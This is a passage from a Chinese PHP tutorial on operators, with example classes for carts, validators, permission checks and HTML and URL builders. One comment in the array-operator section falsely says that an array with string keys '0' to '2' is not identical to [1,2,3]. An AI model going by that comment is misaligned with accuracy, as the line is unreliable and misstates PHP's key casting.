  1. 8种基本数据类型:4种标量类型、2种复合类型、2种特殊类型
  2. 弱类型特性:自动类型转换提供了便利,但也需要注意陷阱
  3. 类型检查函数:帮助确保数据类型的正确性
  4. 安全类型转换:避免类型转换中的常见错误

最佳实践:

  • 明确类型意图:使用适当的数据类型存储相应的数据
  • 严格比较:在需要精确比较时使用 === 而不是 ==
  • 类型验证:在处理外部输入时进行严格的类型检查
  • 安全转换:使用专门的转换函数处理复杂的类型转换
  • 理解转换规则:了解PHP的自动类型转换机制,避免意外结果

实际应用要点:

  • 表单数据处理:正确处理各种用户输入的数据类型
  • 数据库交互:确保数据的正确类型存储和检索
  • API接口:规范数据类型的传输和接收
  • 数值计算:特别注意浮点数的精度问题

掌握PHP的数据类型是编写健壮、安全应用程序的基础。在实际开发中,合理的类型使用和严格的类型检查可以帮助避免许多常见的编程错误。

下一步学习:掌握数据类型后,让我们继续学习PHP中的运算符,了解如何对各种类型的数据进行操作。

运算符

什么是运算符?

在编程中,运算符是用于执行特定数学或逻辑操作的符号。PHP提供了丰富的运算符,可以对不同类型的数据进行各种操作。

运算符的基本组成部分:

  • 操作数:参与运算的数据(变量、常量或字面值)
  • 运算符:执行操作的符号(如 +-*/
  • 表达式:运算符和操作数的组合,产生一个值

例如,在表达式 2 + 3 中:

  • 23 是操作数
  • + 是运算符
  • 2 + 3 是表达式,结果为 5

PHP运算符分类

PHP的运算符可以分为以下几大类:

  1. 算术运算符:执行数学计算
  2. 赋值运算符:给变量赋值
  3. 比较运算符:比较两个值
  4. 逻辑运算符:执行布尔逻辑操作
  5. 字符串运算符:连接字符串
  6. 数组运算符:比较和组合数组
  7. 位运算符:对二进制位进行操作
  8. 其他运算符:三元运算符、错误控制等

算术运算符

算术运算符用于执行基本的数学运算。

基本算术运算符

<?php
$a = 10;
$b = 3;

echo "加法:{$a} + {$b} = " . ($a + $b) . "<br>";        // 输出:13
echo "减法:{$a} - {$b} = " . ($a - $b) . "<br>";        // 输出:7
echo "乘法:{$a} * {$b} = " . ($a * $b) . "<br>";        // 输出:30
echo "除法:{$a} / {$b} = " . ($a / $b) . "<br>";        // 输出:3.3333333333333
echo "取余:{$a} % {$b} = " . ($a % $b) . "<br>";        // 输出:1
echo "幂运算:{$a} ** {$b} = " . ($a ** $b) . "<br>";    // 输出:1000(PHP 5.6+)

// 注意除法的返回值类型
$divResult = 10 / 2;        // 结果:5.0(浮点数)
$divResult2 = 11 / 2;       // 结果:5.5(浮点数)
echo gettype($divResult);   // 输出:double

// 取余运算的特殊情况
echo "10 % 3 = " . (10 % 3) . "<br>";      // 输出:1
echo "10 % -3 = " . (10 % -3) . "<br>";     // 输出:1
echo "-10 % 3 = " . (-10 % 3) . "<br>";     // 输出:-1
echo "-10 % -3 = " . (-10 % -3) . "<br>";    // 输出:-1
?>

算术运算符的实际应用

<?php
// 计算购物车总价
class ShoppingCart {
    private $items = [];
    private $taxRate = 0.08; // 8% 税率

    public function addItem($name, $price, $quantity = 1) {
        $this->items[] = [
            'name' => $name,
            'price' => $price,
            'quantity' => $quantity
        ];
    }

    public function getSubtotal() {
        $subtotal = 0;
        foreach ($this->items as $item) {
            $subtotal += $item['price'] * $item['quantity'];
        }
        return $subtotal;
    }

    public function getTax() {
        return $this->getSubtotal() * $this->taxRate;
    }

    public function getTotal() {
        return $this->getSubtotal() + $this->getTax();
    }

    public function displayCart() {
        echo "<h3>购物车详情</h3>";
        echo "<table border='1'>";
        echo "<tr><th>商品</th><th>单价</th><th>数量</th><th>小计</th></tr>";

        foreach ($this->items as $item) {
            $subtotal = $item['price'] * $item['quantity'];
            echo "<tr>";
            echo "<td>{$item['name']}</td>";
            echo "<td>¥{$item['price']}</td>";
            echo "<td>{$item['quantity']}</td>";
            echo "<td>¥{$subtotal}</td>";
            echo "</tr>";
        }

        echo "</table>";
        echo "<p>小计:¥{$this->getSubtotal()}</p>";
        echo "<p>税费:¥{$this->getTax()}</p>";
        echo "<p><strong>总计:¥{$this->getTotal()}</strong></p>";
    }
}

// 使用购物车
$cart = new ShoppingCart();
$cart->addItem("苹果", 5.50, 3);      // 3个苹果,每个5.5元
$cart->addItem("香蕉", 3.20, 2);      // 2根香蕉,每根3.2元
$cart->addItem("橙子", 8.00, 1);      // 1个橙子,8元

$cart->displayCart();

// 面积计算示例
function calculateCircleArea($radius) {
    return pi() * $radius ** 2;  // π * r²
}

function calculateRectangleArea($length, $width) {
    return $length * $width;
}

function calculateTriangleArea($base, $height) {
    return $base * $height / 2;   // (base * height) / 2
}

echo "<h3>面积计算</h3>";
echo "半径为5的圆面积:" . calculateCircleArea(5) . "<br>";
echo "长为10宽为6的矩形面积:" . calculateRectangleArea(10, 6) . "<br>";
echo "底为8高为4的三角形面积:" . calculateTriangleArea(8, 4) . "<br>";
?>

赋值运算符

赋值运算符用于给变量赋值,PHP提供了多种赋值运算符。

基本赋值运算符

<?php
// 基本赋值
$x = 10;
$y = "Hello";
$z = true;

// 链式赋值
$a = $b = $c = 5;  // a、b、c 都等于 5
echo "a = {$a}, b = {$b}, c = {$c}<br>";

// 复合赋值运算符
$num = 10;
$num += 5;      // 等同于 $num = $num + 5,结果:15
echo "加法赋值:{$num}<br>";

$num -= 3;      // 等同于 $num = $num - 3,结果:12
echo "减法赋值:{$num}<br>";

$num *= 2;      // 等同于 $num = $num * 2,结果:24
echo "乘法赋值:{$num}<br>";

$num /= 4;      // 等同于 $num = $num / 4,结果:6
echo "除法赋值:{$num}<br>";

$num %= 4;      // 等同于 $num = $num % 4,结果:2
echo "取余赋值:{$num}<br>";

// 字符串连接赋值
$text = "Hello";
$text .= " World";     // 等同于 $text = $text . " World"
echo "字符串连接赋值:{$text}<br>";

// 幂运算赋值(PHP 5.6+)
$power = 2;
$power **= 3;          // 等同于 $power = $power ** 3,结果:8
echo "幂运算赋值:{$power}<br>";

// 位运算赋值
$bits = 5;             // 二进制:101
$bits &= 3;            // 等同于 $bits = $bits & 3,结果:1(001)
echo "位与赋值:{$bits}<br>";

$bits = 5;             // 重置为 5(101)
$bits |= 2;            // 等同于 $bits = $bits | 2,结果:7(111)
echo "位或赋值:{$bits}<br>";

$bits = 5;             // 重置为 5(101)
$bits ^= 3;            // 等同于 $bits = $bits ^ 3,结果:6(110)
echo "位异或赋值:{$bits}<br>";

$bits = 5;             // 重置为 5(101)
$bits <<= 1;           // 等同于 $bits = $bits << 1,结果:10(1010)
echo "左移赋值:{$bits}<br>";

$bits = 5;             // 重置为 5(101)
$bits >>= 1;           // 等同于 $bits = $bits >> 1,结果:2(10)
echo "右移赋值:{$bits}<br>";
?>

赋值运算符的实际应用

<?php
// 游戏角色属性更新
class GameCharacter {
    private $name;
    private $level = 1;
    private $experience = 0;
    private $health = 100;
    private $maxHealth = 100;
    private $gold = 0;

    public function __construct($name) {
        $this->name = $name;
    }

    public function gainExperience($amount) {
        $this->experience += $amount;

        // 检查是否升级(每100经验升1级)
        while ($this->experience >= $this->level * 100) {
            $this->levelUp();
        }
    }

    private function levelUp() {
        $this->level++;
        $this->maxHealth += 20;
        $this->health = $this->maxHealth;  // 升级时恢复满血
        echo "{$this->name} 升级了!当前等级:{$this->level}<br>";
    }

    public function takeDamage($damage) {
        $this->health -= $damage;
        if ($this->health < 0) {
            $this->health = 0;
        }
        echo "{$this->name} 受到 {$damage} 点伤害,剩余血量:{$this->health}<br>";
    }

    public function heal($amount) {
        $this->health += $amount;
        if ($this->health > $this->maxHealth) {
            $this->health = $this->maxHealth;
        }
        echo "{$this->name} 恢复了 {$amount} 点血量,当前血量:{$this->health}<br>";
    }

    public function earnGold($amount) {
        $this->gold += $amount;
        echo "{$this->name} 获得了 {$amount} 金币,总金币:{$this->gold}<br>";
    }

    public function spendGold($amount) {
        if ($this->gold >= $amount) {
            $this->gold -= $amount;
            echo "{$this->name} 花费了 {$amount} 金币,剩余金币:{$this->gold}<br>";
            return true;
        } else {
            echo "金币不足!需要 {$amount} 金币,当前只有 {$this->gold} 金币<br>";
            return false;
        }
    }

    public function getStatus() {
        return [
            'name' => $this->name,
            'level' => $this->level,
            'experience' => $this->experience,
            'health' => $this->health,
            'maxHealth' => $this->maxHealth,
            'gold' => $this->gold
        ];
    }
}

// 游戏模拟
$hero = new GameCharacter("勇者");

// 战斗和成长
$hero->earnGold(50);        // 获得金币
$hero->gainExperience(120); // 获得经验,会升级到2级
$hero->takeDamage(30);      // 受到伤害
$hero->heal(20);           // 治疗
$hero->gainExperience(200); // 再获得经验,升级到3级
$hero->earnGold(100);       // 再获得金币

// 购买物品
$hero->spendGold(80);       // 成功购买
$hero->spendGold(100);      // 金币不足

// 显示最终状态
$status = $hero->getStatus();
echo "<h3>角色状态</h3>";
foreach ($status as $key => $value) {
    echo "<strong>{$key}:</strong> {$value}<br>";
}
?>

比较运算符

比较运算符用于比较两个值,返回布尔值(true 或 false)。

基本比较运算符

<?php
$a = 10;
$b = "10";
$c = 5;
$d = "hello";

// 等于比较(==)- 只比较值,不比较类型
var_dump($a == $b);    // bool(true) - 10等于"10"
var_dump($a == $c);    // bool(false) - 10不等于5

// 全等于比较(===)- 值和类型都比较
var_dump($a === $b);   // bool(false) - 整数10不等于字符串"10"
var_dump($a === 10);   // bool(true) - 值和类型都相同

// 不等于比较(!=)
var_dump($a != $c);    // bool(true) - 10不等于5

// 不全等于比较(!==)
var_dump($a !== $b);   // bool(true) - 10不全等于"10"

// 不等于的其他写法
var_dump($a <> $c);    // bool(true) - 不等于的另一种写法

// 大于比较
var_dump($a > $c);     // bool(true) - 10大于5

// 小于比较
var_dump($a < $c);     // bool(false) - 10不小于5

// 大于等于比较
var_dump($a >= $b);    // bool(true) - 10大于等于"10"
var_dump($a >= 10);    // bool(true) - 10大于等于10

// 小于等于比较
var_dump($a <= $b);    // bool(true) - 10小于等于"10"
var_dump($a <= 5);     // bool(false) - 10不小于等于5

// 字符串比较
var_dump("apple" < "banana");     // bool(true) - 字典序比较
var_dump("zebra" > "apple");      // bool(true)
var_dump("Hello" < "hello");      // bool(true) - 大写字母ASCII码小于小写
var_dump("10" < "2");             // bool(true) - 字符串比较,"1"小于"2"
var_dump("10" < 2);               // bool(false) - 数字比较,10大于2
?>

比较运算符的实际应用

<?php
// 用户年龄验证系统
class UserAgeValidator {
    private $minAge;
    private $maxAge;

    public function __construct($minAge = 18, $maxAge = 120) {
        $this->minAge = $minAge;
        $this->maxAge = $maxAge;
    }

    public function validateAge($age) {
        // 检查是否为数字
        if (!is_numeric($age)) {
            return [
                'valid' => false,
                'message' => '年龄必须是数字'
            ];
        }

        $ageNum = (int)$age;

        // 检查年龄范围
        if ($ageNum < $this->minAge) {
            return [
                'valid' => false,
                'message' => "年龄不能小于 {$this->minAge} 岁"
            ];
        }

        if ($ageNum > $this->maxAge) {
            return [
                'valid' => false,
                'message' => "年龄不能大于 {$this->maxAge} 岁"
            ];
        }

        return [
            'valid' => true,
            'message' => '年龄验证通过',
            'age' => $ageNum
        ];
    }

    public function getAgeGroup($age) {
        $result = $this->validateAge($age);
        if (!$result['valid']) {
            return '未知';
        }

        $ageNum = $result['age'];

        if ($ageNum < 13) {
            return '儿童';
        } elseif ($ageNum < 20) {
            return '青少年';
        } elseif ($ageNum < 35) {
            return '青年';
        } elseif ($ageNum < 60) {
            return '中年';
        } else {
            return '老年';
        }
    }
}

// 密码强度验证
class PasswordValidator {
    public function validatePassword($password, $confirmPassword = null) {
        $errors = [];
        $strength = 0;

        // 检查长度
        if (strlen($password) < 8) {
            $errors[] = '密码长度至少需要8位';
        } elseif (strlen($password) >= 8) {
            $strength++;
        }

        if (strlen($password) >= 12) {
            $strength++;
        }

        // 检查是否包含数字
        if (preg_match('/[0-9]/', $password)) {
            $strength++;
        } else {
            $errors[] = '密码需要包含至少一个数字';
        }

        // 检查是否包含字母
        if (preg_match('/[a-zA-Z]/', $password)) {
            $strength++;
        } else {
            $errors[] = '密码需要包含至少一个字母';
        }

        // 检查是否包含特殊字符
        if (preg_match('/[!@#$%^&*(),.?":{}|<>]/', $password)) {
            $strength++;
        }

        // 检查确认密码
        if ($confirmPassword !== null) {
            if ($password !== $confirmPassword) {
                $errors[] = '两次输入的密码不一致';
            }
        }

        // 检查是否包含常见弱密码
        $weakPasswords = ['password', '123456', 'qwerty', 'admin', 'letmein'];
        foreach ($weakPasswords as $weak) {
            if (strtolower($password) === $weak) {
                $errors[] = '密码过于简单,请使用更复杂的密码';
                break;
            }
        }

        return [
            'valid' => empty($errors),
            'errors' => $errors,
            'strength' => $strength,
            'strengthText' => $this->getStrengthText($strength)
        ];
    }

    private function getStrengthText($strength) {
        if ($strength <= 2) {
            return '弱';
        } elseif ($strength <= 4) {
            return '中等';
        } else {
            return '强';
        }
    }
}

// 使用示例
echo "<h2>用户验证示例</h2>";

// 年龄验证
$ageValidator = new UserAgeValidator(18, 100);
$testAges = [16, 18, 25, "30", 150, "abc", "25.5"];

echo "<h3>年龄验证测试</h3>";
foreach ($testAges as $age) {
    $result = $ageValidator->validateAge($age);
    $group = $ageValidator->getAgeGroup($age);
    echo "年龄 {$age}: ";
    if ($result['valid']) {
        echo "<span style='color: green;'>{$result['message']}</span>";
        echo ",属于 {$group} 年龄段";
    } else {
        echo "<span style='color: red;'>{$result['message']}</span>";
    }
    echo "<br>";
}

// 密码验证
$passwordValidator = new PasswordValidator();
$testPasswords = [
    'password' => 'password',
    '123456' => '123456',
    'weak' => 'weak',
    'strong123!' => 'strong123!',
    'StrongPass123!' => 'StrongPass123!',
    'mypass123' => 'mypass123'
];

echo "<h3>密码强度测试</h3>";
foreach ($testPasswords as $name => $password) {
    $result = $passwordValidator->validatePassword($password);
    echo "密码 '{$password}': ";
    echo "强度 - <strong>{$result['strengthText']}</strong> ({$result['strength']}/5)";

    if (!$result['valid']) {
        echo ",错误:" . implode(', ', $result['errors']);
    }
    echo "<br>";
}

// 密码确认测试
echo "<h3>密码确认测试</h3>";
$confirmResult = $passwordValidator->validatePassword('Test123!', 'Test123!');
echo "密码匹配测试:";
if ($confirmResult['valid']) {
    echo "<span style='color: green;'>密码匹配</span>";
} else {
    echo "<span style='color: red;'>密码不匹配</span>";
}
echo "<br>";

$mismatchResult = $passwordValidator->validatePassword('Test123!', 'Test456!');
echo "密码不匹配测试:";
if ($mismatchResult['valid']) {
    echo "<span style='color: green;'>密码匹配</span>";
} else {
    echo "<span style='color: red;'>密码不匹配:" . implode(', ', $mismatchResult['errors']) . "</span>";
}
echo "<br>";
?>

逻辑运算符

逻辑运算符用于执行布尔逻辑操作,通常用在条件语句中。

基本逻辑运算符

<?php
$x = true;
$y = false;

// 逻辑与(AND)- 两个都为true时结果为true
$result1 = $x and $y;    // false
$result2 = $x && $y;      // false(优先级更高)

// 逻辑或(OR)- 至少一个为true时结果为true
$result3 = $x or $y;     // true
$result4 = $x || $y;     // true(优先级更高)

// 逻辑异或(XOR)- 两个值不同时为true
$result5 = $x xor $y;    // true

// 逻辑非(NOT)- 取反
$result6 = !$x;          // false
$result7 = !$y;          // true

// 输出结果
var_dump($result1, $result2, $result3, $result4, $result5, $result6, $result7);

// 运算符优先级示例
$a = true;
$b = false;
$c = true;

// and 优先级低于 =
$result = $a and $b or $c;  // 相当于 ($result = $a) and ($b or $c)
var_dump($result);           // true($result被赋值为$a的值true)

// && 优先级高于 =
$result = $a && $b || $c;    // 相当于 $result = ($a && $b) || $c
var_dump($result);           // true

// 推荐使用括号明确优先级
$result = ($a and $b) or $c;
var_dump($result);           // true

$result = ($a && $b) || $c;
var_dump($result);           // true
?>

短路求值

<?php
function getValue($name) {
    echo "调用函数 getValue({$name})<br>";
    return $name === 'good';
}

// 短路求值:如果第一个操作数就能确定结果,不会计算第二个操作数
echo "<h3>逻辑与短路求值</h3>";
$result = getValue('bad') and getValue('good');  // 只调用第一个函数
echo "结果:" . ($result ? 'true' : 'false') . "<br>";

echo "<h3>逻辑或短路求值</h3>";
$result = getValue('good') or getValue('bad');  // 只调用第一个函数
echo "结果:" . ($result ? 'true' : 'false') . "<br>";

echo "<h3>实际应用示例</h3>";

// 安全的数组访问
function getValueSafely($array, $key, $default = null) {
    // 使用 && 短路求值避免 Undefined index 错误
    return (isset($array) && is_array($array) && array_key_exists($key, $array))
           ? $array[$key]
           : $default;
}

$data = ['name' => '张三', 'age' => 25];

echo getValueSafely($data, 'name', '未知') . "<br>";     // 输出:张三
echo getValueSafely($data, 'email', '未知') . "<br>";    // 输出:未知
echo getValueSafely(null, 'name', '未知') . "<br>";      // 输出:未知

// 条件赋值
function getUserInfo($userId) {
    echo "查询用户 {$userId} 的信息<br>";

    // 模拟数据库查询
    $users = [
        1 => ['name' => '张三', 'age' => 25],
        2 => ['name' => '李四', 'age' => 30]
    ];

    return $users[$userId] ?? null;
}

// 使用逻辑或进行条件赋值
$userId = 1;
$user = getUserInfo($userId) or die('用户不存在');
echo "用户姓名:" . $user['name'] . "<br>";

$userId = 3;
// 下面这行会因为短路求值而执行 die()
// $user = getUserInfo($userId) or die('用户不存在');
?>

逻辑运算符的实际应用

<?php
// 用户权限管理系统
class PermissionChecker {
    private $userPermissions;
    private $userRole;

    public function __construct($role, $permissions = []) {
        $this->userRole = $role;
        $this->userPermissions = $permissions;
    }

    public function canAccessPage($page) {
        // 定义页面权限要求
        $pagePermissions = [
            'dashboard' => ['guest', 'user', 'admin'],
            'profile' => ['user', 'admin'],
            'settings' => ['user', 'admin'],
            'admin_panel' => ['admin'],
            'reports' => ['admin', 'manager'],
            'login' => ['all']
        ];

        $requiredPermissions = $pagePermissions[$page] ?? [];

        // 如果页面允许所有角色访问
        if (in_array('all', $requiredPermissions)) {
            return true;
        }

        // 检查用户角色
        return in_array($this->userRole, $requiredPermissions);
    }

    public function canPerformAction($action) {
        // 检查特定权限
        return in_array($action, $this->userPermissions);
    }

    public function canAccessWithConditions($page, $conditions = []) {
        // 基础权限检查
        if (!$this->canAccessPage($page)) {
            return false;
        }

        // 额外条件检查
        foreach ($conditions as $condition => $value) {
            switch ($condition) {
                case 'is_owner':
                    if (!$value) {
                        return false;
                    }
                    break;
                case 'during_business_hours':
                    $hour = (int)date('H');
                    if ($hour < 9 || $hour > 17) {
                        return false;
                    }
                    break;
                case 'has_verified_email':
                    if (!$value) {
                        return false;
                    }
                    break;
            }
        }

        return true;
    }
}

// 表单验证系统
class FormValidator {
    private $errors = [];

    public function validateEmail($email) {
        $isValid = true;
        $message = '';

        // 使用逻辑运算符进行多重验证
        if (empty($email)) {
            $isValid = false;
            $message = '邮箱不能为空';
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $isValid = false;
            $message = '邮箱格式不正确';
        } elseif (strlen($email) > 100) {
            $isValid = false;
            $message = '邮箱长度不能超过100个字符';
        }

        if (!$isValid) {
            $this->errors['email'] = $message;
        }

        return $isValid;
    }

    public function validatePassword($password, $confirm = null) {
        $isValid = true;

        // 使用复杂的逻辑条件
        if (empty($password) || strlen($password) < 8) {
            $this->errors['password'] = '密码长度至少需要8位';
            $isValid = false;
        } elseif (!preg_match('/[A-Z]/', $password) || !preg_match('/[a-z]/', $password)) {
            $this->errors['password'] = '密码需要包含大小写字母';
            $isValid = false;
        } elseif (!preg_match('/[0-9]/', $password)) {
            $this->errors['password'] = '密码需要包含数字';
            $isValid = false;
        } elseif ($confirm !== null && $password !== $confirm) {
            $this->errors['password'] = '两次输入的密码不一致';
            $isValid = false;
        }

        return $isValid;
    }

    public function validateUserAge($age) {
        $ageNum = (int)$age;

        // 复杂的年龄验证逻辑
        if (!is_numeric($age)) {
            $this->errors['age'] = '年龄必须是数字';
            return false;
        } elseif ($ageNum < 0 || $ageNum > 150) {
            $this->errors['age'] = '年龄必须在0-150之间';
            return false;
        } elseif ($ageNum < 13) {
            $this->errors['age'] = '用户年龄不能小于13岁';
            return false;
        }

        return true;
    }

    public function validateTerms($accepted) {
        // 验证条款是否被接受
        if (!$accepted || $accepted !== 'on' && $accepted !== true) {
            $this->errors['terms'] = '必须同意服务条款';
            return false;
        }

        return true;
    }

    public function isValid() {
        return empty($this->errors);
    }

    public function getErrors() {
        return $this->errors;
    }
}

// 使用示例
echo "<h2>权限检查示例</h2>";

// 创建不同权限的用户
$guest = new PermissionChecker('guest');
$user = new PermissionChecker('user', ['edit_profile', 'view_reports']);
$admin = new PermissionChecker('admin', ['all']);

// 页面访问测试
$pages = ['dashboard', 'profile', 'admin_panel', 'reports'];
$users = ['guest' => $guest, 'user' => $user, 'admin' => $admin];

foreach ($users as $userType => $userObj) {
    echo "<h3>{$userType} 用户权限测试</h3>";
    foreach ($pages as $page) {
        $canAccess = $userObj->canAccessPage($page);
        echo "访问 {$page}: " . ($canAccess ? '✓ 允许' : '✗ 拒绝') . "<br>";
    }
}

// 条件访问测试
echo "<h3>条件访问测试</h3>";
$conditions = [
    'is_owner' => true,
    'during_business_hours' => date('H') >= 9 && date('H') <= 17,
    'has_verified_email' => true
];

$canAccess = $user->canAccessWithConditions('profile', $conditions);
echo "用户在有条件下访问个人资料:" . ($canAccess ? '✓ 允许' : '✗ 拒绝') . "<br>";

// 表单验证示例
echo "<h2>表单验证示例</h2>";

$validator = new FormValidator();

// 测试有效数据
echo "<h3>有效数据测试</h3>";
$_POST = [
    'email' => 'user@example.com',
    'password' => 'SecurePass123',
    'confirm' => 'SecurePass123',
    'age' => '25',
    'terms' => 'on'
];

$validator->validateEmail($_POST['email']);
$validator->validatePassword($_POST['password'], $_POST['confirm']);
$validator->validateUserAge($_POST['age']);
$validator->validateTerms($_POST['terms']);

if ($validator->isValid()) {
    echo "<span style='color: green;'>✓ 所有验证通过</span><br>";
} else {
    echo "<span style='color: red;'>✗ 验证失败</span><br>";
}

// 测试无效数据
echo "<h3>无效数据测试</h3>";
$validator2 = new FormValidator();

$_POST = [
    'email' => 'invalid-email',
    'password' => 'weak',
    'confirm' => 'different',
    'age' => 'abc',
    'terms' => ''
];

$validator2->validateEmail($_POST['email']);
$validator2->validatePassword($_POST['password'], $_POST['confirm']);
$validator2->validateUserAge($_POST['age']);
$validator2->validateTerms($_POST['terms']);

if (!$validator2->isValid()) {
    echo "<span style='color: red;'>✗ 发现错误:</span><br>";
    foreach ($validator2->getErrors() as $field => $error) {
        echo "- {$field}: {$error}<br>";
    }
}
?>

字符串运算符

字符串运算符主要用于连接字符串。

字符串连接运算符

<?php
// 字符串连接运算符
$hello = "Hello";
$world = "World";

// 连接运算符(.)
$greeting = $hello . " " . $world . "!";
echo $greeting . "<br>";  // 输出:Hello World!

// 连接赋值运算符(.=)
$text = "PHP ";
$text .= "is ";
$text .= "awesome!";
echo $text . "<br>";  // 输出:PHP is awesome!

// 多种数据类型的连接
$name = "张三";
$age = 25;
$city = "北京";

// 使用连接运算符
$sentence = $name . "今年" . $age . "岁,来自" . $city;
echo $sentence . "<br>";

// 使用双引号的字符串插值(更简洁)
$sentence2 = "$name 今年 $age 岁,来自 $city";
echo $sentence2 . "<br>";

// 复杂数组的连接
$user = [
    'name' => '李四',
    'age' => 30,
    'city' => '上海'
];

$info = "姓名:" . $user['name'] .
        ",年龄:" . $user['age'] .
        ",城市:" . $user['city'];
echo $info . "<br>";

// 使用 Heredoc 处理长文本
$emailBody = <<<EMAIL
尊敬的 {$user['name']}:

感谢您注册我们的服务。

您的信息:
- 年龄:{$user['age']}岁
- 所在城市:{$user['city']}

如有任何问题,请联系我们。

祝好!
客服团队
EMAIL;

echo nl2br($emailBody) . "<br>";
?>

字符串运算符的实际应用

<?php
// HTML生成器类
class HtmlGenerator {
    private $html = '';

    public function addTag($tag, $content = '', $attributes = []) {
        $attrString = '';
        foreach ($attributes as $name => $value) {
            $attrString .= ' ' . $name . '="' . htmlspecialchars($value) . '"';
        }

        if (empty($content)) {
            $this->html .= '<' . $tag . $attrString . '>';
        } else {
            $this->html .= '<' . $tag . $attrString . '>' . $content . '</' . $tag . '>';
        }

        return $this;
    }

    public function addLink($href, $text, $target = '_self') {
        return $this->addTag('a', $text, ['href' => $href, 'target' => $target]);
    }

    public function addImage($src, $alt = '', $width = '', $height = '') {
        $attributes = ['src' => $src];
        if (!empty($alt)) $attributes['alt'] = $alt;
        if (!empty($width)) $attributes['width'] = $width;
        if (!empty($height)) $attributes['height'] = $height;

        return $this->addTag('img', '', $attributes);
    }

    public function addParagraph($text) {
        return $this->addTag('p', $text);
    }

    public function addHeading($text, $level = 1) {
        return $this->addTag('h' . $level, $text);
    }

    public function addListItem($text) {
        return $this->addTag('li', $text);
    }

    public function addList($items, $ordered = false) {
        $tag = $ordered ? 'ol' : 'ul';
        $this->html .= '<' . $tag . '>';

        foreach ($items as $item) {
            $this->addListItem($item);
        }

        $this->html .= '</' . $tag . '>';
        return $this;
    }

    public function addTable($headers, $rows) {
        $this->html .= '<table border="1">';

        // 表头
        $this->html .= '<tr>';
        foreach ($headers as $header) {
            $this->addTag('th', $header);
        }
        $this->html .= '</tr>';

        // 数据行
        foreach ($rows as $row) {
            $this->html .= '<tr>';
            foreach ($row as $cell) {
                $this->addTag('td', $cell);
            }
            $this->html .= '</tr>';
        }

        $this->html .= '</table>';
        return $this;
    }

    public function getHtml() {
        return $this->html;
    }

    public function reset() {
        $this->html = '';
        return $this;
    }
}

// URL构建器类
class UrlBuilder {
    private $baseUrl;
    private $path = '';
    private $params = [];
    private $fragment = '';

    public function __construct($baseUrl = '') {
        $this->baseUrl = rtrim($baseUrl, '/');
    }

    public function setPath($path) {
        $this->path = ltrim($path, '/');
        return $this;
    }

    public function addParam($key, $value) {
        $this->params[$key] = $value;
        return $this;
    }

    public function addParams($params) {
        $this->params = array_merge($this->params, $params);
        return $this;
    }

    public function setFragment($fragment) {
        $this->fragment = ltrim($fragment, '#');
        return $this;
    }

    public function build() {
        $url = $this->baseUrl;

        if (!empty($this->path)) {
            $url .= '/' . $this->path;
        }

        if (!empty($this->params)) {
            $queryParts = [];
            foreach ($this->params as $key => $value) {
                $queryParts[] = urlencode($key) . '=' . urlencode($value);
            }
            $url .= '?' . implode('&', $queryParts);
        }

        if (!empty($this->fragment)) {
            $url .= '#' . $this->fragment;
        }

        return $url;
    }
}

// 日志生成器类
class Logger {
    private $logs = [];

    public function log($level, $message, $context = []) {
        $timestamp = date('Y-m-d H:i:s');
        $contextString = empty($context) ? '' : ' | ' . json_encode($context);
        $logEntry = "[{$timestamp}] {$level}: {$message}{$contextString}";

        $this->logs[] = $logEntry;

        // 同时输出到屏幕
        echo $logEntry . '<br>';

        return $this;
    }

    public function info($message, $context = []) {
        return $this->log('INFO', $message, $context);
    }

    public function warning($message, $context = []) {
        return $this->log('WARNING', $message, $context);
    }

    public function error($message, $context = []) {
        return $this->log('ERROR', $message, $context);
    }

    public function debug($message, $context = []) {
        return $this->log('DEBUG', $message, $context);
    }

    public function getLogs() {
        return $this->logs;
    }

    public function clear() {
        $this->logs = [];
        return $this;
    }

    public function saveToFile($filename) {
        $content = implode("\n", $this->logs);
        return file_put_contents($filename, $content) !== false;
    }
}

// 使用示例
echo "<h2>HTML生成器示例</h2>";

$html = new HtmlGenerator();

$html->addHeading('用户信息', 2)
     ->addParagraph('这是一个HTML生成器的演示。')
     ->addLink('https://www.example.com', '点击访问示例网站')
     ->addHeading('用户列表', 3)
     ->addList(['张三', '李四', '王五'], false)
     ->addHeading('用户详情表', 3)
     ->addTable(
         ['姓名', '年龄', '城市'],
         [
             ['张三', '25', '北京'],
             ['李四', '30', '上海'],
             ['王五', '28', '广州']
         ]
     );

echo $html->getHtml();

echo "<h2>URL构建器示例</h2>";

$urlBuilder = new UrlBuilder('https://api.example.com');
$url1 = $urlBuilder->setPath('users')
                   ->addParam('page', 1)
                   ->addParam('limit', 10)
                   ->addParam('sort', 'name')
                   ->build();

$url2 = (new UrlBuilder('https://www.example.com'))
       ->setPath('search')
       ->addParam('q', 'PHP教程')
       ->addParam('lang', 'zh')
       ->setFragment('results')
       ->build();

echo "API URL: " . $url1 . "<br>";
echo "搜索URL: " . $url2 . "<br>";

echo "<h2>日志生成器示例</h2>";

$logger = new Logger();

$logger->info('用户登录', ['user_id' => 123, 'ip' => '192.168.1.1'])
       ->debug('开始处理数据', ['count' => 100])
       ->warning('内存使用率较高', ['usage' => '85%'])
       ->error('数据库连接失败', ['error_code' => 500])
       ->info('操作完成', ['duration' => '2.5s']);

echo "<h3>日志汇总:</h3>";
foreach ($logger->getLogs() as $log) {
    echo htmlspecialchars($log) . "<br>";
}
?>

数组运算符

数组运算符用于比较和组合数组。

数组运算符类型

<?php
// 数组合并运算符(+)
$array1 = ['a' => 'apple', 'b' => 'banana'];
$array2 = ['b' => 'blueberry', 'c' => 'cherry'];

// + 运算符:右边的数组不会覆盖左边数组中已存在的键
$merged = $array1 + $array2;
print_r($merged);
// 输出:Array ( [a] => apple [b] => banana [c] => cherry )

// array_merge() 函数:右边的数组会覆盖左边数组中已存在的键
$merged2 = array_merge($array1, $array2);
print_r($merged2);
// 输出:Array ( [a] => apple [b] => blueberry [c] => cherry )

// 数组相等比较(==)
$arr1 = [1, 2, 3];
$arr2 = [1, 2, 3];
$arr3 = [1, 3, 2];
$arr4 = ['0' => 1, '1' => 2, '2' => 3];  // 字符串键的数值索引

var_dump($arr1 == $arr2);  // bool(true) - 键值对完全相同
var_dump($arr1 == $arr3);  // bool(false) - 顺序不同
var_dump($arr1 == $arr4);  // bool(true) - PHP自动类型转换

// 数组全等比较(===)
var_dump($arr1 === $arr2);  // bool(true) - 键值对和顺序都相同
var_dump($arr1 === $arr3);  // bool(false) - 顺序不同
var_dump($arr1 === $arr4);  // bool(false) - 键类型不同

// 数组不等比较(!=, <>)
var_dump($arr1 != $arr3);   // bool(true)
var_dump($arr1 <> $arr3);   // bool(true)

// 数组不全等比较(!==)
var_dump($arr1 !== $arr3);  // bool(true)
